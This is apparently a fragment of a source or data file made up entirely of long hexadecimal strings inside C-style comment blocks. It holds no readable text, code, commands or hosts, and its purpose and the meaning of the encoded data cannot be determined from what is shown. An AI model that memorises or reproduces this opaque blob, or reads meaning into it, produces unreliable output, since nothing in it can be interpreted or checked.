bfdc112036c9df81832f83da22645c97fb6cd0db463d7c89352f0377eba2ad52ca0fa68e65067e017c8f954e06abeb540fc4024a50f2c1f9c4313afb159b632e24784b7e5fc84bf468dd13d19c5b3889e3cdde51abbd9b0025f93f040b66bf33cc3fe65d7d683ca9e35ed5b5602b284c4b79aa10334b497c0464242b5fe3d1b2f4944fed66ebe0a4b6c4fc2ca2657ed517a7ce9a4a65f2cc198622dcc3ae638c23a149bc8ca7417660f34cb997061bf4c7b64937e031f30c22e1c14a3a5ee9601114299d36fdfc1e08409af3bea089972073c34602174d79bd5c16016875836fccd9535e8d5b78bc4a6ca9882b5c6dea60cea12598b4cd805703cfbe1dcedcbb9f5ce7ffa2b24c2a085672bcf19d8750c3625e1a6593450fab220e2af29b2fc724bd6bc5edbae4d5351ccee9f3dece1eb3e1fa20b92f96f6995e7be53ea4151752ede62ca8d593b634c02a23969c0e46c0dd5abd50b30ba05805098e78ffb16e45955f6f9bdda63e0f79c95d7d66d02e0a493c5c9d049417c2f098d293a1c692112b0b56bec0b6a8605802b17ecae325e113fa6409be2a243917c1da2136e57fe1b8c42d228500588752107d*/
/*38fbbf2b1604a3c7056adec97e438f004f7f9e114294a9c296f7061786f7915c756d62120503aaa5354e38dee80d388d73600617adcbdc73fcb15f3c5295fb999f69d329759810b2d9e194a7ac43573f5e91a893f002e3a4b23e51bd7562265c0d0cf234cc1348af3b2e3fe6b16243afe971ac7fe3fbbd3e0c1637fa2dedaa92d9e327d7a541cd4a7b6dee471f53c70f990120deeab86cf903686e862f1398678dcb75cfc122f210dfdacf09e02600778fc2923351f362174cea6cf8a2c54ed71945457d47e56a29c69818c965fcadb6a877120bcc505a592dbd3a03810159a91639fd1750bec22b330ca884b93620e3817ea832cb660a5b216d85fa4e1aab33c4c14274506b02add65a3c61c4e36344a424e8d491e9dbe8bd2f6e8524ec8d857b06499a1aafd067bba592b004b4073944ac31fc4b245135fadd5c62bcba1b4c455b6dfd81a237d4f89ea3c10d17ca954ab867625975b47b7856b831c9c50eac3a51a12e9443fcea3131c06029f00a3c853c05dedb256f3eef76bc40116f6f12c65d3a0342a91c9674b3b2a57951905a4e7f6f9b764aef452c8f8d4f1f84770b7d0c922f7c145155548bb03d5776ad046b493369d0fc1bf5cc8753e7a6bf166868b07c9afad8b8870f57470eb2761a58cfb2ed884757d57ddde770b532028f4597ca36045414e1aeb2de00383f677b03dfb842eeecea4d1d0456ef896ac4fa34d56df3056214cf36fead2fd0de00997e20d90e0990da7a8639346960f256d5f21c54e2511e3903800be1e85d63501b59245925d51f89751044fde92a532e4a4e9ece6b90fd4028459ec8d7858f7fd81e650f0726cc7e3f3b385176cef648d178135d8a894f2ec1962acbc87410553fb79ff6a75dae75693bc3d3468d2e10cb8430d9ab079efc8863866eba22e83d58cde2838790fc63fa60de6f34bb3ec081e8da0e8d37c67531282fad427394119c98f80f91cc689b926198907fd61c3941e028ea164fffbfcf2ed4c417bc26c47e2c24614bddbbb3c06d3d56572ba044de7e6cc91c6352aeebe9f78893a08cdaee178bcdfc92deb11ead45d17734395124b7c973157e0e63c3ea9e6848fb23611415c867ff1eb5a24a960737677a2fb2a507fae880f0dbd2cb57782ecafe71b307635ed37cdbca745e014b2145d267faf0e69bbfb5fc5f0f1313a2d52db483cd3ffe60f9eaabdcd12c26324181918d861baa5451532264432f8a469e22088dba20b430b65a12c280a560a6d01be803bee59962a586d08acc12b135771b404e77e908ea757de8e6150692f7b5959166de8a9319c81468801178e5ebaac955e9e4435e644b071107404e66625ccbb9585ec88d833e6fd590d2f1614d28565498fad3984b1363cbe1de63356166bb6ee17183d777093f3a8c39247202e141fae4f4364d8d42c738ed2ab16e397d8bc86e930b5405bc3920443b0e42e1974bf53c940414e477f16f26e60027d32e3af0120a3adfafdaa1ef8eafcf49883356d605d367c592c56f45eabcd7dd45043ad8736559fb7c7223343a07a98351266266db4352a89ab7c304f078e9db044a81297a8b2021399844605950da262c60f6ac1c9cb9422f0b2d6e7ba7a624805743f5edb7c304a3b834ba6a4fcf8e4db2bad903ba2dc49debb79abf3113e875c40a6c802358aff2eea9c9d7554bd34305145dbb9c40c859dc83f49b8de3df0ed8f7196fdc3fde7e44393e14ad34400d15ea6781acb3b4c11b0d3d0a036decee399fdac1a6194bf4d4abf8eb04af3ab784eb86096e9453c1ea1cea379afdadbeb5b79ec63374f591805103345b77bded8fe8c6327f18d6af184a2a10a965c4c78237e8909fc476a8bc28f99273bb8049b6109560a09533db73e7ba0f0568baa5449d614e2497473a384512a32d6201bdeaa670079446758c23fbcc770b869d625a9effff4debe43b48413e8ab4a4a0aba729fe2adda74198e987c6d6b973608cf1ef7c0bdfebbb4507a525f7e554bf76a68dfedf84b55be9aa4e5fac52fb5a53694d6d72d2f220fcbdee4789f538049fe98955e6bf90bc55a123c71993d08723175234f9fa4f608caf2e3d088c52ef7a16778b612576b93f4f64ebe6dea3c26abb3df535a565b4f634a9cee1944a080df80dab0a880d3156d4d194744441bc33ade95154a81b36b620eccd8e064918f29a2c98fa4605f8e3dcd679ef11f1bdb0e284b2e426434f50867aa482770b6f928a87e4b4bf2706e85802642f54e3d5e07c52920ee1347754cb7fa77a098c8b3971c2b793b23095e36f584d34c38723d10bb8227f0038fb1152ea54bca309a113728629d71898cc8bc84f56acf8de199d9744c0634d0ddcd4793f17329c08df5aa6fdb9777dd685c60f877c3f369c94a73cd355b2ef5c13f0ec7a4ca04c3a94e2d5ecd87b2f2b9234d4421173e42ce0502152b8f80fb5e1810f19aadfbb5b75095ca21d3fb8a6d72e33dbfced555647f785b7e63a635a7406065542a5e9fc0f5263041c72c936623c08d1975d47f14c9d91fa8b6e03d31245053301d4a1dec08e9649189014dc647bc08ca42834ab68d03a952518d84fa83cc3455d1e1d90f0d7fbd0a2b52b50bca3adcfbfe032bdadc558a4d7cf1b113cf804d8c0b4ad749e81ba037bed641c6241e414f899d8c4e45f6629d5750e8948240ecfe373a16cfc4b6ff1ac786f50d51c817bebf6d767b3543299b30f15fcc209397654f1dfec18805a33caf5f338846e40becacb4dd30db5e5114aa67697049a7a39da13994781029f65dbccda04bd5f8ad1f21f2a11778d32b6d6f9fa0b7991d7bed861d63a7377264b6ae95d9561*/
/*968aceb97f91d7afdd1f1b1e43d89b72270d34c2631b828a9f11219966beb1a446899e1a15be370cb7d0e48d816f3ce6dfe0f9d042f49156592434103cf72db4607a675c1bf59ddb15f4be9f829782f7cbea318ac509f01c575f63858b9c922b2d9209d7a9c1779d3a41f06cfa04c06604c747561b4baf4128ed8bcaaf4227bde200125ad3d3e6d838b289510ce24496cf51ccfd7cb450d9a54f701347b54b8b2422009e9a9331ad7e4e8eac244a012e2cbecc33ad050e562f5e27474b6a3f740bb669b24d9119ee98592dc1b1ac057e2f289fd11e7dcf0fb710677ceeb48e27bd89cead6858c7e35d9949a2755b2e599866346c34ae897c80e0753bfef5bea14d2a9c3c0757c1b37474c5ff5af36b79de9f21367251f9e4d203f722b6aeed1015b449f0af65aa700cbd25792bfc6995c03b105422dd929f485b76698e94d50431a7d0cd29b7a330b9966813f0d845500b145c967fd0282753f83cf8185e71a4c0595661477e50a0203cd88f459b8dd1272fdc41adb493c8b49bdf22a2053f84fd402fb32a0582b407eabea55bd1aa86cd9d04b12f49ecbd7aa4420f84cde61c0fa49e267380f76899acf64d4ef0cc43fb7d2764ba0e5787cc51693ec1c70f238ae283b3e28512a10540ca85c8824ff2bf279ff3bd7b4698261cf09948d1c45444e51aa5a52f960afcd765fc236e0fbd8e623741d730c564dabdc3746c8b1cb6675b0bbd65088496ac2046d0a33228861d9522ac3eb454e383e1c98cceeb5c4e307226bb6204a057854a758c2b7f8c237f0f3bd5e7ffe3c1b7c84251b512198240a348717dc821fc24cbd549a6499c981afa68dbbee1110b0f4bba9132b052717d42252a08dc456a7fa69033a74c24df824ca19e4378329a928f8522eed2ef1cbf7adfd372c8fe4becfb7ff831bd11d3ab04cddf465881899238871b161d0937bad1813355ba5372e0c69c3cb6af23dd9c8f7402968acd43d7547e69882ba67e26187934c39661c2fc20c28fbe6f0b43d081214295e7fddab966c0f76b8a32c325c837273de61614c7be27d41bf769f81de27c51bbdc3922c9608d626e70c04df03f3cc380477e21fbb831acaa4b263935b13a1f59776950c7ca68a4ad37985af9ac42594762d1d756336ba141cd1a9cbef98f0b416b5538c121313a11999f0cf4f499412a40778946dc68f40d593c0bbe2c76c3f02c89c12bba21569b05ebded2c3261bdf40a5db1f8fc3498871dedd82d416b786404bc72ffd7bd7df525789f91d70c34d86ffc6842330d99cf28c626acd1629ce27a555a48285021ea2ced9771deb01e0caa3a0ea0e507d0efafca575ac0d0207e0dddd0bf532a78b8b956dbaa458ad86a7e2d2563080181027245ceee1a681018c8dce799e87b18c1f4bbb2e0e4dc5f53c058ae88e545162b2159987ccc5e4021b310c28fa3bd591d5b3c7d3471b0b51d22239c30b99340dcaa17ab310347865fe262715b5e97c0476db2b31b81b0a149e9e8e6ea471d8c4f7f986cd1850f8194fd2dc283fde0e3867cfcb4b2e4a9f6b07ce0f7dc0d2f62559a5fe248f106052e178790fc458404b7a0598955d7cebd39ea7b950e130f4ff3843096b7fc28f57fa0c9e3e8df017aa3a91bcb5ed675ff9aa1274d5b97d9ddfe929231d1d0be9dec54c61c49797643b27f5abd87060fbbbd51d673d2e06c816b90cb2ce6bff139c774ac7fb3eae5934604b258b0fcfd00fbbb1c388dc03aa8221f2531e4fe908ac7142e6ed8f4688c512cda2fc2051fbd655a9d2d8e7f31cb53e55ec43b0cddf516ba792c764683816903ae5e8c86fc6112dca0b3cf44d696221071eb056c39c5330321db6e5f55f0d2651963c48bb3c3a841009c7d7ed388a56328b560730cb3011da27cfbb8956c5f154557d41b52e84c3122e6b3a54a4b1388f165cd14c6d39a2bbff607e4e6152b876927fd9231069f923cc8190ae73e1ba3c4bb148cb16586656e2ef4aa08671ab9c2cd87ffd9dfa684d883fe6775e55a2612e0cdec55921219c54d8a3cbc03ff5df4d07bdf511c9b74a5f412c01cba6cfe36953ef411341f63cab117f8a281d0ffda46554c5e13df88822082c20ae3ee56b9b6fefb66248af08e1442057a0f08d75bade7dedbf1941329a8a15361b5fa787b5fc6d2ca146cd8e4a91d4667e89ad456a55423bb55691003946e7ca0eee1b18190020b7f89c373649ed03c35218de3bb151703eddaa29e754f1408d8823eb96b92afcb8f38b2f596e2284e58fbc97d5d093d8ac95c84f241f7bcb04a8cdc526a7f576757ce4e11083d3309bd3ea7d0d673523fbb20c77a3e77058bf6fa4199c405268c02b6c05d6d59da766947bd312fb2d6c79893aa9e8953576405b5fba24b84d5e318160af050720fbcff3bbdfc31f07d60d092f00fc0bfb691821d59d780d8b08d8d822b522cb70890eb842ab7e85655cfede580db683cea68d71c18839cae832988baacb68f869ef523b767eac6779d08c980f99777db501cd819b18e53ce6c66a11eff7a28a364848302bcfe8c37ecdc3fbed343d1591327d725619cc86b3c864de51bfef798e52afd202b3e9e7004972ce2e8378fed662e35815a895aee7dabc4507efb13b34af338f1647d3c5989df12b18eab9367038dc419dcbbf31d581b3f1b7849e64563f4d3e89e58b2e403d67802456993539b4049e564b991e430fdc64d3720fb051a210e81aa5f8c1000072e278da3064b2d83813356a31c829a9f6051fac6e97bb19cc958d52143f9b6f370aa90daf2e040c0c1384eab3de99e0c0746bb4cea42f933b0bad05465998aa750cef3ee449236fcb4a829921db*/
/*6d11d82346f4c90724e13e0084117480109e98b2269f97feb9f9d832f031f25563b8183009dae2a6f022473da55ddff1d172e0586db39c17d5abd4ce0e3fc9434643b9fa0c37c9ed815848f3e2db86e86efe14f0086a1a2702cda055f5e58591a0b87e89aa76ad58af671ed2e989b8dae68202a05e86176ac93012f90955af755b5a5096a0c6d0eaec2b5259db5edc7aa5b94cd29947bda105702f765f925076f6fc78af26a57350df2fc09175c645db9b006666dfcaae06f21f23345c130e510112faba1260e0c895eb4891dde4a70e9aae87242f6ab6cc75d18ea2e09908d9d43183828291aecbc5721dea24d550c9e403239d59e47f64f918e8c75e5202039b434321375ef2463585550e0b54be976e26076952456a2d6a9b4978dd69b3525212da6b9ebfdc04260964a5fbb37a78653c0face43d80e2ce56f434b0eb492479d9b30055a7574d3fde39fbf98c9057930e75b66f2bb9683d8eceefcb5bb5c4dd2db47e182db86c75e2fd82aa84160bb43820074399b1b13eb29bc5787043730a769dac5e3aa0384bf8a0fe553a9db6ec445b175632b7c8a85d1bb8980bfc39436cb2850055ed5072859c375d4fac0e7cd87579c81314f0ebd116a4b594db33c309f41c80459b0e2161e80d0e3176990ff5a6065eec21f71ec490f9913aa6baeed4aae979c6ba0d62a426bffaa14e56ed823b7e885146d377e0c8d69025690ea04fb7705d6b787b79cead3e8872486be93d92331cb9b19a866d01b048ab254967b8453dd228253cd02d8a1a7e2f5d841fab182c9a073822bfb2c6e3000c2a0ccd3dc09168b94671f5625e73742bd78abdc282d77284f443515962e74aa1001b87cf06c6a084368d9e5302ecb7763e2bc2639bd98ce1eb50abb1c0b673e25eada604ea5c4d76cfe25975a2afa179a93045194ed1885b118ca262362ae14d5419f0f82c9c728451a7bdddada9849f51eaac43d3ec9d429ab80e3f4b958edaad87c6fc5d9bfbf89308bad5a387897c9cc92223e29fe598bb1d2d3c4af0fdbe930d0201948831d5a004134c6ee4f7a045f1337397f0498a91c965e9192b72cf1c2b591b6dd1227b4c9d69ae801ffcb632e5abf947bcb4bf5d5ba0f78c961edeb7ac1d94487d9abbd40b60fa916278f9436ae668b6ce3abf1632a04cc6e8730cbc215a94eb332a274253b5b5eb2623184ef9de61c86030bf597542d76eae2ddde1ddcdb76f8e762542ada739a370e4364ba83f2760dba79c1aef3ad10ed7e7f05bd99f5accb8a54e96e94c8f11a3fa8831100845d5d24f81801ccd42ae99a11d4b8ffe6058518c32db802a1782b8f844b3e0d436addbbb9d26942902db3b5d598ebb8bb545d836d5b4ad48f94b6206f6e94d9c424fd25aecbc4935adc24f9b5b5a4ef36194ed0af0ac4b76bcbfc4da169c6ac39c558417a8d7e78fbc392d3d1b50a4bfb281d7a1bdb1a5c188b812fc69e3952f5943c63dd21962c0e191ae87013cce450db818052f44025fe222c41fec6fadc3f0d124f0299181f3683ca3895a4287e1a5e31838c3009ce57c6bc82339c57d3b93d2ca3148c5a24166337aa4dfceae679c03e691c53f6586bba32aa7607d3f70d61718b923fef7b10e38752b99ed8ce78b6595f206528263e17e12931cddce5fec5f6ef12772da8bacc4efd98bff9aea2e564fa7b30452918ee6decce5de9866c4d26a9312a9be4a6960e2bfb12f244290af88680df7a7c3d024f8b8b60f8ecedeb27c20752d46aa28407c55e7d4bd083aa8b9321ad9165fdd8be284bafaa7c9ee7d09f753702de5cdbcc517085dffba676bc7d59eb349888baa179c2375efde2476e5e983eed9ccff20d9f011d5c3013d036169e8b281cfffc841643306586bfb79f688ef715a2af72c901c1b50a41263c51a1024e26341d4a9277fc4dfdc74d1c6f316fd4ec150e2ca4de3582d85cb3c38dccda7f5c3ccdec749d18b7eb82dd42cb7921eb281cdea273af11510cee4a8b1653044ee6640abcfdfcbf3ab76aa67f2a12441be3181ef0bd5ed473e387ed0236443138d505ab96461791f1ef3a816a163a8f3a3e499eb717d1db297b984d7401ea53a4bdcb239af339eda96bce5c3a2db7de1824233f93e0c92ab639ebaec0b200b43d488240a6faab7e2d32903ccf5ee575e3e99c8087b0a36fdfbfca61214a9e17cca7cb34d9d0e8174a0cf6e65b725e54b753eb72f7e7b65aa1289613c932cb26ff83b1f5993b544f961296dcfd89dee162612168ffa4b499d5da296de1b8d2b3e7756ac90b1453d9fbc2b9e49be8e8d9b9654bd1faef504088c9d345d56c96051fa1a0056213c4ca57105b47111affa62760e17f00920b77fd7c6bb188e634487fbeaa6ebba2dac1e82fb4ad27689a0115ac7f03ef9e3c3ab1e2074ad3d06f45a6b07f58cc791bb0d726d7a1982688927087843143658313126d098f27654b85275164764417e0b143d4cb820d3587ec4445277f746c710b800ff6e3e10862055b7609c1471ffce2243c9a112f9f622bb2d240bb6d36f701e204987bcc6f4973789866f1a5617751f1b58afeb9b99679cd50e1c7093faf77645733379c43ceca3f243433a4551b2b433f7f4d22168042ace214554e7d40c3c1bb0f0fb6c3ebe3c7753df6f8c11636e15bca6ecb4a39acd65b968ed5c6334de186325f888dabd07225f65a690e31d2495a38a49c2c0759061516a66f5fc09eecc3c77005daa17695f0fec47754c3a8739b10a19b289d9453060efaf9a25a2e1aeaaf18a95773caf0e8b26a7eaedaf5a5f20bb7ede366907b29ce0b1f97c9dcbf5c942980f0179dc51d82a71758bf2cbc90b*/
/*2240fc7d3faed55ec345db97c65cf65ebd1be927c0bc56fbebb30948759b7e13384e0908fcd22e658575742868f1ff4fb25810118b108f73f64e16f8a8df6d22b5138367e3b95041f59ddcdf9fd02c8f0e7fe58c5d33fd8e6d7f86596403ad521483e88a62282b0e4f0b334f59a12debe3a0d5e039bf38a5ade9c2b4e34f45aa8233a5fd3bfbaae9ab0094dc016697087a45565cfa719a0112413d899ae29a76eae4daf9380fccd9c6b0e9126205403a00a07fd8d5d167bfa043b1c7842035916e4520c06dd3c421744646ea5e4f0e4661b5f9772b27dbbe16a7e8a425b51eadfe646d5690abfec9001eb78f407f1e9c457dcd94c3dee2db078d2c9307e289d3d8d32361d37bff29cf53ecb9d4eab57d3a513fd3d852e5e314838413456896c2f0a8c21ff8a77154d122dec10964d0e69fd5e7c5cd2633ac1db2fb66b79394e4a8fd5e5229c6579a4c11df3a63648be5aafbe0ed1c11585b0bbe26f0643bf28b02f50671439af4e4d6213da2f01331df1a1eaea35426ba11ddd869d7089ce5d438804920c7dfd537a643719103ecfdf86d1a2b6ec4f6530814b037f6dd3aabc28e1f818517fa555b57aef2cbd3281d6113d173489bb349c762979083195bd39325adcb73aa3dee56f115d8d8cffea7ce7b4d3657159018611bfa83429774e175a6b48fc9f9f58586b3059e7ba775927e0f216ac6f2dcc164026449846af3ff3c187caa217ea875e30b5db3ab11f9279f94071a039d76073620ec2b6887a974705e372fb749999ab0bf4a4f57efceaff103c841477d83f448e6df2893133c562f2a1fb73b49926fa6faf9ce0e2c4d75f266cf6233e34486ca8028b8676fc3be1813c07544074e1f79b23bc192c957b933170b63096e29db91f7f63e055b7a038d95479dd66fbd7197b61f87339b1985e10de38db64449596aefb8100b99406a8625fb0b0f3e0d0375621ad43b462c852d57654cd68d0d90c7c21f764456370a2930687c1cbf5da2e82dd5d04ad20bdf204c79344d69d88722eaee0ddfc308bcd30702caad593e0eef87d54930a77c96cbdd32e0c00dfdb2e2b4374457cd7bb76c487823aa36a73478d7c1b228202d18522189e394a7d80878f68b6bb85489ded3c94a20113528a4b10069477788ad0ff92cb5a014d736892290351f32a18a43a51803bd1ac5ef129a892c04d08f46c7b2e005f2c006760ab9186e650249ebabc52b0f88cd605ff4ee02664b8a940f24036c2e4078ebb425235c203d78f08707ae5c354613859ab5c86bce4d874f4f89630945b4d9d875bf1cad7dc61a9697afec12aed7c1a466f5c61fc9dd10aed76cd69596a8d7590374895693069233dee06a034d13559ca8d1159bbbf7c2d349a256165d7aa6e7146d0ffc5715120c154bad5cd709b6a44f1ffc16b31c371f0e9186999a2f0d34e3e80c0de29226442742e18b5a96f8679bed9af893264232251a13ed2e70f534454c0b22133ee4870c472ec008573256e920f4bf72bdcd3cca5bb83434a8d65349b6c7bcf87019e460c5b1c6c7a1f03bae1ebbe180767edc0f09d2fccf4668ecd6890ed01e9570bdfa8602f9a13d0f0d72828e495d3e2517a789733f2f9edfe1f6634d11cde78ff335188d8c23bc7d40cd1373e9aa9af4149927181487b79678d5d8608b4d39323cdfbe731f1d481ed30a0f669cbf49568cc542be0869e5252e6c8284659f5e230285143ccabcdee066ff600ede460f91a334c35612e6302ffa60f01cbba5aaa97a4f08f5dacabf71f4b0296819ef252f1ed7eb06a696455a55995cfd916ab62e6359de8ac68c6432eeb44d6dba37690bae6406cd15dd3ff222a08353837d946aaa4acd735e0b870549e98069f65052dac5ee15f5507f4a47a011a5fc79b9d469f68f4353a3cb68ef39b2f89afa3a22d3ce5a1f58b4ed6b628949ae164848b44e9f16815fc089931c430c2b587d3c88b21fcfdde6c81e371d40ae9f8da12b34ad1b93c51cd521e6fea999f71ef711a935fbec49459a2a582aff7838b98bb0f894ab7f4ad3fa11e26a285bd62748ba6abc917712f94231a749c9427905c8a972204d11d9c4f0a71b99ee612484118bb16419e1648671f3e692d5d36a7eb577f910dfcec32759f1380f91673153e6960fdda1c2fe80f002484d206dd5f88135162a18fa0fc9d649907379c399d3be02d462c010248fcd2b4156dfdfb6b147a13020f8a8f3f0aca25e495fa546ed32fc009c1124caa8840a292f4dd76659596e698d82a07a1a0016a66308509a5ec0f1cf86b9ed7581f6809e5bac57e84ab99cbb60f73b8811beb00604a9afed4a6f6d7c2402361b22f47e160942c7d78efe696282a4d694e2923f82bdf14b3a1e898f6fc579bb32261d3701d1bf21d858ed1ae3ad888e26513d0ad98cc4b1f814973eccfde9187e6492c9468191fcb72512b3c4abd67b06083a334dbbb7019afa12b80ed4324b20768741344063df53edfaca5814085c875c19d2badbec23179a908795049435f79565c4975d9d1b6f2741644f18a2a627e2a153edbab28024f579559dcfc854cc73c508e3dff697452637a7f8a25ade71ff1d893c709e0fec296c37bbc8db6903dba535d9e2b71b8ff8e9090d72a49be9cf1cf911a71847c578f143700d0affcdf2be8b4c5757f1d0836345428992293aa588ddb07cde508c6ba9f4bf5c58314e4d854b5e9da1bcc11d3f3bebcba91ddd92724685241466329ead3ae511e71bf9b776fb88113eb5311bd16e6dad06feb9a35310f27835c7f6d0109d1fe844a7490e7006eca71656cccc0be0629494c8308870969d3dbcdd07cfc854c799dd87fdfd*/
/*1a42b06425c98fa965a4dcfb6fa0a103ee35be26f7b25b40a4b48d4226f519847fafb56dbe7961f51ed1462845db544d5d4555a8e4fb30c01fdc5bae99553e1c5fda4ffbefe9b3d9277c29a0d10e05ee72680724de402a245f855ac51084fd45c7b121a6161f8e5a48d0a7582fe5c48bf56bbe4a7a3915a50a41085cc28a1103f4b38e2f043793542a45af522c218a790fa8ec09e2f89c1cb4f9655b152a0d1c9b898c65bb4aa4d8331f9ba9146ffe4184962c0b2b0094f420b812b30a53c2e1d6f7da5b02ff46e989e3b912ace38c0eb541b68406b32aaf6e0589d3a1bf6957067f0656efb78f687b23fc30b607d456eacc3be438fc7cd02dc140cefb5071ab6eb218b1fb90b93b7812b069bd6f7ee1c02800439cb0ac8abf694c611d789f9611f54663c34dde0a4f74360d1bb3916dbe8c67695349c5e4dbb8205a2b664bec5ee20f12490761abaf9a4ad8203ca922ffce241e57fcc74a45803962c1fd643dff23a9f317a29b2ce2ac092ea20eeb37e977472ad7e06a4268af48ec4209e7df2de786046c3033ff41e559e93e91e33061ee91e990dd5017883c481ffa529b076186792996d9eac7586b4b6475726afc2744e2da9f0d4b5e45aad50366c3fcfa5c42693fb32515e0a3a8b3d949e511e7c8facc5684d5f1fcaadc1aa62c9bd02f979d3426d075a4dd5956fd1b0ff3f3f1f446f85c3b731b0537472a9634ea1e4bbf25840d12c6c3e5ef06fbec18236a5f31422b39c1b5ebc58048a7b3da3d004b5bf56cca0c7af4754c5bc59535655be8694aef9e692ad52e554925371a8328761c81537ce1576ee1e61830ff371d5d0453353f98a0ded61ea27332cb08e67356a777f427e6e9aeffb8717c841b4f6daa815844dac53cb686c06fc0294d327658a6e3d8bbb6c6abfd1ba4e696ef4684067dbef264241b210dc214b44fca87ffeecd8d62b93a229ca70f3007e24ccf8f769c23bf97a318ca7cbb9130d84bfaacb97fa96554180971abc89db89e4639788764c56813eada09c9d794b30bac6dedce81274f7542be61dee9c41f8e6ea6820cf857d0196451e800f5cca000bb3c3e5d13bdd7b15b98298b9ffc23adf0366e22c4401f4a13a11c7220d1599499bbbfa2e06c2ec939268fe9c0611b6246d1a28faefc71ff1c26321461222060118fd1aa539ca07c1ff1f2b1a3550e754933ac76ad3e0e51c0342bbb32061ab8ac3955dc712c30b02963dadab004503bf3183e2de04b3de1b9fe0cbf34befaa7af5c7641dd75f62ea24ebeff52d99c02a093e5c39adbddd490acb64422ac32205501edf219227a5964b39e804e049c0f1409daa718f75915324cc115c1093e1dc78df6deac15058d471e5d7bfb55a4c51da91c8f887922f1d3993f28c6fd5ce639510311541352f45c9c12ad501e29153c811e9fbb6e09c407bd5bf3e2b1813181bd803c430e7e07b1b5c30400104d233393cbb36c6b59052979aaefc76861b2aa5aeb5150e2c65097f979b334bfa10213c833e05e30412f5016b189227625aad384901f4163eeb5ccae89e14e6bda368ffdb556489691be630f79949d3c17dbd78985cd093cc7857f5faaa529c9697e9812a58331d021b031978ffe56451b5f396850ca35602c3353c956b1dfdedf80da778403b07d2016745b3267124fd8ef989c6ae1689173122fb027e0c51cd3afdde6e4ac862d006b0f434320574c93bc44189f0ad0182030ad867741ffc36abd84988b685e2eb4a97de1e14deaf898ef53b5deb25fe6c5661aeb38800962465e85e6197f63b2e188e0590574f3abfd39bb9e523d67fb80e12897212fb5191df9ff12329f109985af142e4f0725a0c90d5b1ea90b9d63c21c1352c88c9649d8b4f66a52f981c051f96259faeed973f31144bc4fc8cb224575bc19063f4b300c89320ad0a170dd131abe97414fb3fd67b272e820490d8ecff791d6ff43670ee552d1da3aeff9230118aad9b0d81bb2e28f5748643806a5b3cd03261ebc9466dcd46853e4bccd2e36b7fbed328c51a0c5538007e647d0c35363d6813483049be029463b4c22b487c32ec1285f694b1330fb111aa71e8d0a296e536f3aed69691a783a3fc663fbfab34c27869b664b340eb1761d6dfec1ff3c43b88c5222ea7fb664fc9dbce6aae736f78be23261b3c1dd6894fd03ec9aad8b215b5551ed28b867361bc8000f7829addd2ef3b06aa4c85411fe349a6b5118cee43e02cddbf90cdf652f9b3ac5ee3e17cf6d2412e0bc0e70176cc7f82299873f401da80f6846a68703b9edac1ffb96c2e6d3d7382438e7968ed72e14519989b1239cce61e0f35d0eb1dc770faec5c34478901765006e6a315024ae85ad198fa7100b2010accd7f6b5c344d5430da501dba7b444d108f5f42fd8bbc8a85de7f62a74ce92f5e9f59ab58c72b9b7e62cf46a3059f81c9cb7ec415863048f7fc5769585bc5dd416ba12bd7677b8c4f8b925e95e6d9c5b26411bdfd99e86e3cfc44850ca3713fae29bbe02a947d39350dada7d43e897109b5ca9a0c0ccb5bee37d73c4643470f712263c5cb333b62f79d39f78439d047a421d6422a35479e086fb0e39085c662981c9ffa6120b36b5715d5ade4ce6bacf7220e09f28b7418bd081313e4cd7b3d6a5ef120570b31673cc9bab9b02a2f49fc00ea7ad21d76ada8ffefb9e2c827f0226caf9f132176b2ca7d704fab3455ec04eeb273358c88e1fa14822ecc34adfa30924136e56efa2988d252a5a11b20ee0b142a2da98d23f48ff341c3d2ba3ab4bd06ead7bb2db87585c994fff588bebf3b4b6c89113ad993e3e149636caa338720a0ba2504b1fabe48*/
/*a15e2487bda839a99fddb04f9c65a72a6f9f6fc49c7053dc0d2e4f45ffcb36e0c127ecb21d68f44a959089cdfee7d30051b628c4dec7b90019c6e689ac38d0b185cdfa4921d2aecc38d4a056ecd6dce1659a25e57cc521c737245312483bb2961fcde44d384ace8da855552c93b481a7d7f5fad0a04f7cff5606fd74521f480f4da881d0c43431daa3e05aff1f810be7f01814e1dfd4c61dca9173f711ded17704a0e32938721973c1c4ddfa393072573cabb5ffaf0527f59c717f7d1a0340c5c053aae6472b5ebea859b42a1002bfd66bf5e19c254cf2e0fbeaeacb8f19726116e54c362b7987a3191d068d70f9f3e552f94db05645d962b8066da9a52d8346b4f16cd5541e778ffd05130f9c739c7ae1185fa7fd8b67fedd6b3957eaefafcad30e4f481d2a37d86178da07399ecba19d7d4923f42c8024c4814fb8eb26222b8b521aa1d2aea4bf22d4847d24690528e9a4f71dad19349b9976e0feb87b99400042ad98ebcc3cf1de0df4805c5e9564d9c4bef1339e757ffea7bb6b3deb3e634f6daf520985c98175d63879c4bf88c8552c20038e06f7b517b8ced77d71e0bb663692164289bdcac047b09d0e9149991437a63adfad58be95dc578d43b9fa99e5cfff388300ad3df23c644d1630922562b25826324a3926b850ebfff6ad9e9024d6ecd74b3ad6e577bd495cb4e617c21c5cca26a5b0f9abaccc350819af8dbf390d0b04f8fa95a7dcc1cf32394409ee14f18dd49431ee1dd78bbc9b3de1ebc985aeb3677cb0273fac477237e15906353776f80df7827da7c95ea3e321d12cba7aed2f0bf381fa4b30cf53528f6ce7def38706e890f7d8fdc34d5a659e354a88eea7caca02070bf961e2f1d0a4971359f92b36d55ab4a208f4367c46f7641e694fba687aaf7c2d7cb88a912638a241b179f4892c15787389913ea2059eaff7700e76a8e50439377d88c33a8380b85b60d4c3fcf655ed06df851b7a6d96decdfe98c5e74f33b010f705f3cb54516f716fbd451e7b26a65f2be6caa87ea20d340fcee77193ce42b8b068bb24386ea0e584a44121f9b01dcdd6ecc67e268c59c45f4d95eb17b1b163a3892378dd96bdc5c0a5f61696d73407462cbce60acc89f9804f62d96463912a8f95fa3bcf27fea36ae27875595fa0b16f2bd8df895895b6e27745817088d84f37ebe81ce97adfb7545e1a31acc7eb64cb265bb0f10f27b7c6c51d106040b31d52761979c78d51175501c04b240fbf0ce67a274fd87946af29eb19059d39cd235cfd6aff684bfd1e198e709b566cb6fce913acd253ee8e022e96aff9fbefa730db0c7b0e9f7d8b767e957d6a98f3592af601cb580b8bab2ae5126056b248bcb1822561b81faf71bab44999159c1cda13841efdcbd561066e99b1e9a6fdc96081435ed8d589a08931053555faef897a3916da574c45bd92fcdacaef55aa71a853062db18fb43a21d61abc6d27f405ae11b0bd9d52a39efdc43725a5259680ede539b34f65a682061a9deee28ee7d7d8428433f3ff6464823c3fed99d961e3310ed2a940faaf98f887ca6ccbe5c8780ce88586e84b7fe2c2291c8cc53248c0835b1b0607858075583b75e0865540a18f398b74abd01423f351378512aecd3512478a47851961362437d